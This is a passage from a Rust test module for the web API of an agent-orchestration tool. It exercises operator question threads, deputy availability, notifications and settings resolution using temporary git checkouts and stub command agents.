10650        let ui = delta_test_ui(home.path());
10651        let mut q = Question::new(
10652            "task".into(),
10653            crate::land::APPROVAL_NODE.into(),
10654            "land".into(),
10655            "Explain?".into(),
10656            String::new(),
10657            vec!["hold".into()],
10658        );
10659        q.deputy = Some(ask::Deputy::new("context".into()));
10660        ui.questions.put(&mut q).unwrap();
10661        let mut cfg = stub_config();
10662        cfg.daemon.max_deputies = 0;
10663        let mut status = crate::daemon::Status::new();
10664        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10665        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10666        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10667        let error = question_say(
10668            State(ui.clone()),
10669            Path(q.id.clone()),
10670            Ok(Json(NewSay {
10671                body: "Explain the findings".into(),
10672            })),
10673        )
10674        .await
10675        .unwrap_err();
10676        assert_eq!(
10677            error.text_reason,
10678            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10679        );
10680        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10681
10682        let mut text = Question::new(
10683            "task".into(),
10684            "ask".into(),
10685            "operator".into(),
10686            "Which name?".into(),
10687            String::new(),
10688            vec![],
10689        );
10690        ui.questions.put(&mut text).unwrap();
10691        let Json(view) = question_answer(
10692            State(ui.clone()),
10693            Path(text.id.clone()),
10694            Ok(Json(NewAnswer {
10695                choice: None,
10696                text: Some("chosen name".into()),
10697            })),
10698        )
10699        .await
10700        .unwrap();
10701        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10702        assert!(!ui.questions.get(&text.id).unwrap().status.open());
10703    }
10704
10705    #[tokio::test]
10706    async fn question_text_handler_admission_without_transport() {
10707        let home = tempfile::tempdir().unwrap();
10708        let ui = delta_test_ui(home.path());
10709        let mut q = Question::new(
10710            "task".into(),
10711            crate::land::APPROVAL_NODE.into(),
10712            "land".into(),
10713            "May this PR merge?".into(),
10714            String::new(),
10715            vec!["hold".into()],
10716        );
10717        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10718        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10719        ui.questions.put(&mut q).unwrap();
10720        let say = || {
10721            Ok(Json(NewSay {
10722                body: "Explain the findings".into(),
10723            }))
10724        };
10725        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10726            .await
10727            .unwrap_err();
10728        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10729        let response = rejected.into_response();
10730        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10731            .await
10732            .unwrap();
10733        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10734        assert_eq!(body["code"], "question_text_unavailable");
10735        assert_eq!(body["reason"], "deputy_exhausted");
10736        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10737        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10738        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10739        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10740            .await
10741            .unwrap();
10742        assert_eq!(view.text_delivery.state, "live");
10743        assert!(view.question.waiter.is_none());
10744        assert!(view.question.cwd.is_none());
10745        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10746        ui.questions.drop_lease(&q.id);
10747        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10748            .await
10749            .unwrap_err();
10750        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10751        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10752        let _ = question_answer(
10753            State(ui.clone()),
10754            Path(q.id.clone()),
10755            Ok(Json(NewAnswer {
10756                choice: Some("hold".into()),
10757                text: None,
10758            })),
10759        )
10760        .await
10761        .unwrap();
10762        assert_eq!(
10763            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10764            Some("hold")
10765        );
10766    }
10767
10768    #[tokio::test]
10769    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10770        let fx = Fixture::start().await;
10771        let store = fx.questions();
10772        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10773        store
10774            .update(&id, |q| {
10775                q.node = crate::land::APPROVAL_NODE.to_owned();
10776                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10777                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10778                Ok(())
10779            })
10780            .unwrap();
10781        let path = format!("/api/questions/{id}/say");
10782        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10783        assert_eq!(refused.status, 422, "{}", refused.body);
10784        assert!(
10785            refused.json()["error"]
10786                .as_str()
10787                .unwrap()
10788                .contains("deputy_exhausted")
10789        );
10790        assert!(store.get(&id).unwrap().thread.is_empty());
10791
10792        // A final live deputy is usable even with no ordinary waiter/cwd.
10793        store.beat(&id, ask::WaiterKind::Deputy);
10794        let view = fx.get("/api/questions").await.json();
10795        assert_eq!(view[0]["text_delivery"]["state"], "live");
10796        let accepted = fx
10797            .post(&path, Some(r#"{"body":"explain the findings"}"#))
10798            .await;
10799        assert_eq!(accepted.status, 200, "{}", accepted.body);
10800        let before = std::fs::read(store.path_of(&id)).unwrap();
10801
10802        // The recipient exits between rendering and sending. Rejection must
10803        // preserve previously accepted text, the answer and delivery cursor.
10804        store.drop_lease(&id);
10805        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10806        assert_eq!(refused.status, 422, "{}", refused.body);
10807        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10808        let held = fx
10809            .post(
10810                &format!("/api/questions/{id}/answer"),
10811                Some(r#"{"choice":"hold"}"#),
10812            )
10813            .await;
10814        assert_eq!(held.status, 200, "{}", held.body);
10815        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10816    }
10817
10818    #[tokio::test]
10819    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10820        let repo = tempfile::tempdir().unwrap();
10821        let mut cfg = stub_config();
10822        cfg.daemon.max_deputies = 0;
10823        std::fs::write(
10824            repo.path().join("magi.toml"),
10825            toml::to_string(&cfg).unwrap(),
10826        )
10827        .unwrap();
10828        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10829        let mut status = crate::daemon::Status::new();
10830        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10831        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10832        let id = ask(&fx, "Explain?", &["hold"]);
10833        fx.questions()
10834            .update(&id, |q| {
10835                q.node = crate::land::APPROVAL_NODE.into();
10836                q.deputy = Some(ask::Deputy::new("context".into()));
10837                q.deputy.as_mut().unwrap().agent = "stub".into();
10838                Ok(())
10839            })
10840            .unwrap();
10841        cfg.daemon.max_deputies = 1;
10842        std::fs::write(
10843            repo.path().join("magi.toml"),
10844            toml::to_string(&cfg).unwrap(),
10845        )
10846        .unwrap();
10847        let view = fx.get("/api/questions").await.json();
10848        assert_eq!(view[0]["deputies_enabled"], true);
10849        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
10850        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
10851        let res = fx
10852            .post(
10853                &format!("/api/questions/{id}/say"),
10854                Some(r#"{"body":"Please explain"}"#),
10855            )
10856            .await;
10857        assert_eq!(res.status, 422, "{}", res.body);
10858        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
10859    }
10860
10861    #[tokio::test]
10862    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
10863        let fx = Fixture::start().await;
10864        let id = ask(&fx, "No seat", &[]);
10865        let store = fx.questions();
10866        let before = std::fs::read(store.path_of(&id)).unwrap();
10867        let res = fx
10868            .post(
10869                &format!("/api/questions/{id}/say"),
10870                Some(r#"{"body":"hello"}"#),
10871            )
10872            .await;
10873        assert_eq!(res.status, 422, "{}", res.body);
10874        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10875        let res = fx
10876            .post(
10877                &format!("/api/questions/{id}/answer"),
10878                Some(r#"{"text":"hello"}"#),
10879            )
10880            .await;
10881        assert_eq!(res.status, 200, "{}", res.body);
10882        assert_eq!(
10883            store.get(&id).unwrap().resolution().as_deref(),
10884            Some("hello")
10885        );
10886    }
10887
10888    #[tokio::test]
10889    async fn saying_something_appends_a_turn_without_answering() {
10890        let fx = Fixture::start().await;
10891        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10892        fx.questions().beat(&id, ask::WaiterKind::Asker);
10893        let path = format!("/api/questions/{id}/say");
10894
10895        let res = fx
10896            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10897            .await;
10898        assert_eq!(res.status, 200, "{}", res.body);
10899        let body = res.json();
10900        assert_eq!(body["status"], "open", "talking back is not a decision");
10901        assert_eq!(body["answer"], Value::Null);
10902        assert_eq!(body["thread"][0]["who"], "operator");
10903        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10904        assert_eq!(body["waiting_on_agent"], true);
10905        // Still open, still counted, still exactly one question.
10906        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10907    }
10908
10909    #[tokio::test]
10910    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10911        let fx = Fixture::start().await;
10912        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10913
10914        let list = fx.get("/api/questions").await.json();
10915        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10916
10917        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10918        assert_eq!(res.status, 409, "{}", res.body);
10919        let q = fx.questions().get(&id).unwrap();
10920        assert!(q.status.open());
10921        assert!(q.consult.is_none());
10922    }
10923
10924    #[tokio::test]
10925    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10926        let fx = Fixture::start().await;
10927        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10928        let cfg = Config {
10929            agents: vec![crate::config::AgentSpec {
10930                id: "mock".to_owned(),
10931                kind: crate::config::AgentKind::Command,
10932                model: None,
10933                command: vec!["true".to_owned()],
10934                extra_args: Vec::new(),
10935                env: Default::default(),
10936                prompt_delivery: None,
10937            }],
10938            ..Config::default()
10939        };
10940        let talk = crate::talk::begin(
10941            &fx.talks(),
10942            &cfg,
10943            fx.home.path().to_path_buf(),
10944            Some("mock"),
10945        )
10946        .unwrap();
10947        let mut task = Task::new(
10948            "t".to_owned(),
10949            "Do it".to_owned(),
10950            PathBuf::from("/repo/magi"),
10951            Source::Agent {
10952                run: talk.id.clone(),
10953                node: crate::queue::CHAT_NODE.to_owned(),
10954            },
10955        );
10956        task.start("20260902-000000-beef".to_owned());
10957        fx.queue().put(&mut task).unwrap();
10958
10959        let list = fx.get("/api/questions").await.json();
10960        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10961        assert_eq!(
10962            list[0]["choices"],
10963            serde_json::json!(["SQLite", "Redis"]),
10964            "the hand-over is never a choice"
10965        );
10966        fx.questions()
10967            .update(&id, |q| {
10968                q.node = crate::land::APPROVAL_NODE.into();
10969                q.choices = vec!["merge".into(), "hold".into()];
10970                Ok(())
10971            })
10972            .unwrap();
10973        let list = fx.get("/api/questions").await.json();
10974        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10975        assert_eq!(list[0]["can_consult_chat"], true);
10976        fx.questions()
10977            .update(&id, |q| {
10978                q.node = crate::bump::NOTICE_NODE.into();
10979                Ok(())
10980            })
10981            .unwrap();
10982        let list = fx.get("/api/questions").await.json();
10983        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10984        assert_eq!(list[0]["can_consult_chat"], false);
10985    }
10986
10987    #[tokio::test]
10988    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10989        let fx = Fixture::start().await;
10990        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10991        fx.questions()
10992            .update(&id, |q| {
10993                q.node = crate::land::APPROVAL_NODE.into();
10994                q.choices = vec!["merge".into(), "hold".into()];
10995                Ok(())
10996            })
10997            .unwrap();
10998        let cfg = Config {
10999            agents: vec![crate::config::AgentSpec {
11000                id: "mock".to_owned(),
11001                kind: crate::config::AgentKind::Command,
11002                model: None,
11003                command: vec!["true".to_owned()],
11004                extra_args: Vec::new(),
11005                env: Default::default(),
11006                prompt_delivery: None,
11007            }],
11008            ..Config::default()
11009        };
11010        // Not a git working tree, so its `magi.toml` is read from disk.
11011        let repo = fx.home.path().join("chat-repo");
11012        std::fs::create_dir_all(&repo).unwrap();
11013        let toml = repo.join("magi.toml");
11014        std::fs::write(&toml, "this is = = not toml").unwrap();
11015        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11016        let mut task = Task::new(
11017            "t".to_owned(),
11018            "Do it".to_owned(),
11019            PathBuf::from("/repo/magi"),
11020            Source::Agent {
11021                run: talk.id.clone(),
11022                node: crate::queue::CHAT_NODE.to_owned(),
11023            },
11024        );
11025        task.start("20260902-000000-beef".to_owned());
11026        fx.queue().put(&mut task).unwrap();
11027
11028        let path = format!("/api/questions/{id}/consult");
11029        let res = fx.post(&path, None).await;
11030        assert!(res.status >= 400, "{}", res.body);
11031        assert!(fx.questions().get(&id).unwrap().consult.is_none());
11032        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11033
11034        std::fs::write(&toml, "").unwrap();
11035        let res = fx.post(&path, None).await;
11036        assert_eq!(res.status, 202, "{}", res.body);
11037        assert!(fx.questions().get(&id).unwrap().consult.is_some());
11038        let q = fx.questions().get(&id).unwrap();
11039        assert!(q.status.open());
11040        assert!(q.answer.is_none());
11041        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11042        assert_eq!(res.json()["can_consult_chat"], true);
11043        let list = fx.get("/api/questions").await.json();
11044        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11045        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11046
11047        let res = fx
11048            .post(
11049                &format!("/api/questions/{id}/answer"),
11050                Some(r#"{"choice":"hold"}"#),
11051            )
11052            .await;
11053        assert_eq!(res.status, 200, "{}", res.body);
11054        assert_eq!(res.json()["answer"]["choice"], "hold");
11055        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11056        assert_eq!(res.json()["can_consult_chat"], false);
11057        assert_eq!(fx.post(&path, None).await.status, 409);
11058
11059        let mut talk = fx.talks().get(&talk.id).unwrap();
11060        crate::talk::close(&mut talk, &fx.talks()).unwrap();
11061        let list = fx.get("/api/questions").await.json();
11062        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11063        assert_eq!(list[0]["origin_chat_closed"], true);
11064        assert_eq!(list[0]["can_consult_chat"], false);
11065
11066        fx.talks().remove(&talk.id).unwrap();
11067        let list = fx.get("/api/questions").await.json();
11068        assert_eq!(list[0]["origin_chat"], Value::Null);
11069        assert_eq!(list[0]["origin_chat_closed"], false);
11070        assert_eq!(list[0]["can_consult_chat"], false);
11071    }
11072
11073    #[tokio::test]
11074    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11075        let fx = Fixture::start().await;
11076        let store = fx.questions();
11077        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11078        store.beat(&id, ask::WaiterKind::Asker);
11079        assert_eq!(
11080            fx.get("/api/health").await.json()["questions_needs_owner"],
11081            1
11082        );
11083
11084        // The owner asks back instead of deciding: the ask bar, the nav badge
11085        // and the title must stop naming this question, because there is
11086        // nothing to decide until the agent answers - `status` alone cannot
11087        // say that, which is the whole reason `questions_needs_owner` exists
11088        // alongside `questions_open`.
11089        let res = fx
11090            .post(
11091                &format!("/api/questions/{id}/say"),
11092                Some(r#"{"body":"why not Postgres?"}"#),
11093            )
11094            .await;
11095        assert_eq!(res.status, 200, "{}", res.body);
11096        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11097        assert_eq!(
11098            fx.get("/api/health").await.json()["questions_needs_owner"],
11099            0,
11100            "waiting on the agent is not waiting on the owner"
11101        );
11102
11103        // `magi ask --thread` replying is what brings the owner count back -
11104        // the same event that would resume the CLI call blocked in `magi
11105        // ask`.
11106        let mut q = store.get(&id).expect("get");
11107        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11108            .expect("reply");
11109        store.put(&mut q).expect("put");
11110        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11111        assert_eq!(
11112            fx.get("/api/health").await.json()["questions_needs_owner"],
11113            1,
11114            "the agent's reply is what should light the banner back up"
11115        );
11116    }
11117
11118    #[tokio::test]
11119    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11120        let fx = Fixture::start().await;
11121        let store = fx.questions();
11122
11123        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11124        let res = fx
11125            .post(
11126                &format!("/api/questions/{empty_id}/say"),
11127                Some(r#"{"body":"   "}"#),
11128            )
11129            .await;
11130        assert_eq!(res.status, 400, "{}", res.body);
11131
11132        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11133        let mut answered = store.get(&answered_id).expect("get");
11134        answered
11135            .answer(Answer::Choice("SQLite".to_owned()))
11136            .expect("answer");
11137        store.put(&mut answered).expect("put");
11138        let res = fx
11139            .post(
11140                &format!("/api/questions/{answered_id}/say"),
11141                Some(r#"{"body":"still there?"}"#),
11142            )
11143            .await;
11144        assert_eq!(res.status, 409, "{}", res.body);
11145
11146        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11147        let mut abandoned = store.get(&abandoned_id).expect("get");
11148        abandoned.abandon("timed out");
11149        store.put(&mut abandoned).expect("put");
11150        let res = fx
11151            .post(
11152                &format!("/api/questions/{abandoned_id}/say"),
11153                Some(r#"{"body":"still there?"}"#),
11154            )
11155            .await;
11156        assert_eq!(res.status, 409, "{}", res.body);
11157    }
11158
11159    #[tokio::test]
11160    async fn an_answer_the_question_does_not_offer_is_refused() {
11161        let fx = Fixture::start().await;
11162        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11163        let path = format!("/api/questions/{id}/answer");
11164
11165        for body in [
11166            r#"{"choice":"Postgres"}"#,
11167            r#"{"text":"whatever you think"}"#,
11168            r#"{"choice":"Redis","text":"both"}"#,
11169            r#"{}"#,
11170        ] {
11171            let res = fx.post(&path, Some(body)).await;
11172            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11173            assert!(res.json()["error"].is_string(), "{}", res.body);
11174        }
11175        // Nothing above may have answered it.
11176        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11177    }
11178
11179    #[tokio::test]
11180    async fn a_free_text_question_takes_text_and_not_a_choice() {
11181        let fx = Fixture::start().await;
11182        let id = ask(&fx, "What should the flag be called?", &[]);
11183        fx.questions().beat(&id, ask::WaiterKind::Asker);
11184        let path = format!("/api/questions/{id}/answer");
11185
11186        assert_eq!(
11187            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11188            400
11189        );
11190        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11191        assert_eq!(res.status, 200, "{}", res.body);
11192        assert_eq!(res.json()["answer"]["text"], "--json");
11193    }
11194
11195    #[tokio::test]
11196    async fn an_unknown_question_is_a_json_404() {
11197        let fx = Fixture::start().await;
11198        let res = fx
11199            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11200            .await;
11201        assert_eq!(res.status, 404, "{}", res.body);
11202        assert!(res.json()["error"].is_string());
11203    }
11204
11205    #[tokio::test]
11206    async fn notifications_list_read_dismiss_and_health_agree() {
11207        let fx = Fixture::start().await;
11208        let store = Notices::at(fx.home.path().join("notifications"));
11209        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11210        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11211
11212        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11213        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11214
11215        store
11216            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11217            .unwrap();
11218        let health = fx.get("/api/health").await.json();
11219        assert_eq!(health["notifications_unread"], 2);
11220        assert_ne!(
11221            health["notifications_rev"], rev0,
11222            "the badge must move live"
11223        );
11224
11225        let listed = fx.get("/api/notifications").await.json();
11226        assert_eq!(listed["unread"], 2);
11227        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11228        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11229
11230        let read = fx
11231            .post(&format!("/api/notifications/{}/read", a.id), None)
11232            .await;
11233        assert_eq!(read.status, 200, "{}", read.body);
11234        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11235
11236        let gone = fx
11237            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11238            .await;
11239        assert_eq!(gone.status, 200, "{}", gone.body);
11240        let listed = fx.get("/api/notifications").await.json();
11241        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11242        assert_eq!(listed["unread"], 0);
11243
11244        store.raise(Notice::info("x", "again")).unwrap();
11245        let all = fx.post("/api/notifications/read-all", None).await;
11246        assert_eq!(all.status, 200, "{}", all.body);
11247        assert_eq!(all.json()["marked"], 1);
11248        assert_eq!(
11249            fx.get("/api/health").await.json()["notifications_unread"],
11250            0
11251        );
11252
11253        let missing = fx.post("/api/notifications/nope/read", None).await;
11254        assert_eq!(missing.status, 404, "{}", missing.body);
11255        assert!(missing.json()["error"].is_string());
11256    }
11257
11258    /// New work reaches the queue through `magi task add`, a standing talk's
11259    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
11260    /// so the compose form and that route are gone. The tests that covered
11261    /// that route's validation went with it, and nothing was left asserting
11262    /// it stays gone — so a re-added handler would silently let the phone
11263    /// file briefs no one validated.
11264    #[tokio::test]
11265    async fn a_task_cannot_be_filed_over_the_phone_directly() {
11266        let f = Fixture::start().await;
11267
11268        let res = f
11269            .post(
11270                "/api/queue",
11271                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11272            )
11273            .await;
11274
11275        assert_eq!(
11276            res.status, 405,
11277            "POST /api/queue must not be a route: {}",
11278            res.body
11279        );
11280        assert!(
11281            f.queue().list().is_empty(),
11282            "a task filed by a route that does not exist must not reach the disk"
11283        );
11284        // The path itself is still served — the Queue view reads it — and the
11285        // per-task controls are untouched by the entry being removed.
11286        assert_eq!(f.get("/api/queue").await.status, 200);
11287    }
11288
11289    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
11290    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11291        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11292            .expect("checkout dir");
11293    }
11294
11295    /// Two command agents, so a config needs no real CLI.
11296    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11297
11298    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11299        let tmp = TempDir::new().expect("tempdir");
11300        let repo = tmp.path().join("repo");
11301        std::fs::create_dir_all(&repo).expect("repo dir");
11302        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11303        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11304        if let Some(text) = machine_toml {
11305            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11306            std::fs::write(&machine, text).expect("machine toml");
11307        }
11308        (tmp, repo, machine)
11309    }
11310
11311    async fn settings_checkout(path: &FsPath, text: &str) {
11312        std::fs::create_dir_all(path).unwrap();
11313        std::fs::write(path.join("magi.toml"), text).unwrap();
11314        for args in [
11315            vec!["init", "-b", "main"],
11316            vec!["add", "magi.toml"],
11317            vec![
11318                "-c",
11319                "user.name=Test",
11320                "-c",
11321                "user.email=test@example.invalid",
11322                "commit",
11323                "-m",
11324                "fixture",
11325            ],
11326            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11327            vec![
11328                "symbolic-ref",
11329                "refs/remotes/origin/HEAD",
11330                "refs/remotes/origin/main",
11331            ],
11332        ] {
11333            crate::git::git(path, &args).await.unwrap();
11334        }
11335    }
11336
11337    #[tokio::test]
11338    async fn settings_context_handlers_validate_and_save_without_a_socket() {
11339        let (tmp, repo, machine) =
11340            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11341        let root = tmp.path().join("roots");
11342        let selected = root.join("host/owner/selected");
11343        settings_checkout(
11344            &selected,
11345            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11346        )
11347        .await;
11348        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11349        let before = std::fs::read(&machine).unwrap();
11350        let ui = Arc::new(
11351            Ui::new(
11352                Queue::at(tmp.path().join("queue")),
11353                Questions::at(tmp.path().join("questions")),
11354                Talks::at(tmp.path().join("talks")),
11355                tmp.path().join("runs"),
11356                tmp.path().to_path_buf(),
11357                repo.clone(),
11358            )
11359            .with_machine_config(Some(machine.clone())),
11360        );
11361        let query = || {
11362            Query(SettingsQuery {
11363                repo: Some(selected.clone()),
11364            })
11365        };
11366        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11367        assert!(v.error.is_none(), "{:?}", v.error);
11368        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11369        assert_eq!(conductor.source, "repo");
11370        assert_eq!(
11371            conductor.machine_value,
11372            Some(toml::Value::String("a".into()))
11373        );
11374        assert!(!conductor.editable);
11375        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11376        assert_eq!(
11377            judges.count.as_ref().unwrap().machine_value,
11378            Some(toml::Value::Integer(1))
11379        );
11380        assert!(
11381            !v.roles
11382                .iter()
11383                .find(|r| r.key == "reviewers")
11384                .unwrap()
11385                .editable
11386        );
11387        let unknown = || {
11388            Query(SettingsQuery {
11389                repo: Some(tmp.path().to_path_buf()),
11390            })
11391        };
11392        assert_eq!(
11393            settings_get(State(ui.clone()), unknown())
11394                .await
11395                .unwrap_err()
11396                .status,
11397            StatusCode::UNPROCESSABLE_ENTITY
11398        );
11399        let body = || {
11400            Ok(Json(RolesBody {
11401                revision: v.revision.clone(),
11402                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11403                counts: Default::default(),
11404            }))
11405        };
11406        assert_eq!(
11407            settings_put_roles(State(ui.clone()), unknown(), body())
11408                .await
11409                .unwrap_err()
11410                .status,
11411            StatusCode::UNPROCESSABLE_ENTITY
11412        );
11413        assert_eq!(std::fs::read(&machine).unwrap(), before);
11414        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11415            .await
11416            .unwrap();
11417        assert_eq!(
11418            saved.repo,
11419            selected.canonicalize().unwrap().display().to_string()
11420        );
11421        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11422        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11423        // A cache miss refreshes the stable candidate list exactly for validation.
11424        let fresh = root.join("host/owner/fresh");
11425        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11426        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11427            .await
11428            .unwrap();
11429        assert_eq!(fresh_view.repositories.len(), 3);
11430    }
11431
11432    #[tokio::test]
11433    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11434        let (tmp, repo, machine) = settings_dirs(
11435            "[roles]\nreviewers = [\"a\"]\n",
11436            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11437        );
11438        let root = tmp.path().join("roots");
11439        let selected = root.join("host/owner/selected");
11440        settings_checkout(
11441            &selected,
11442            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11443        )
11444        .await;
11445        let broken = root.join("host/owner/broken");
11446        settings_checkout(&broken, "[roles\nbroken").await;
11447        let machine_text = format!(
11448            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11449            toml::Value::String(root.display().to_string())
11450        );
11451        std::fs::write(&machine, &machine_text).unwrap();
11452        let originals: Vec<_> = [&repo, &selected, &broken]
11453            .iter()
11454            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11455            .collect();
11456        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11457        let default = f.get("/api/settings").await.json();
11458        assert_eq!(
11459            default["repo"],
11460            repo.canonicalize().unwrap().display().to_string()
11461        );
11462        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11463        let query = format!("?repo={}", selected.display());
11464        let res = f.get(&format!("/api/settings{query}")).await;
11465        assert_eq!(res.status, 200, "{}", res.body);
11466        let v = res.json();
11467        assert!(v["error"].is_null(), "{v}");
11468        assert_eq!(v["repositories"], default["repositories"]);
11469        let role = |key: &str| {
11470            v["roles"]
11471                .as_array()
11472                .unwrap()
11473                .iter()
11474                .find(|r| r["key"] == key)
11475                .unwrap()
11476        };
11477        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11478        assert_eq!(role("advisors")["source"], "repo");
11479        assert_eq!(role("advisors")["editable"], false);
11480        assert!(role("advisors")["machine_value"].is_null());
11481        assert_eq!(role("judges")["count"]["value"], 2);
11482        assert_eq!(role("judges")["count"]["machine_value"], 1);
11483        assert_eq!(role("judges")["count"]["source"], "repo");
11484        let source = role("judges")["count"]["source_path"].as_str().unwrap();
11485        assert!(
11486            source.contains("origin/main") && !source.contains("magi/config/"),
11487            "{source}"
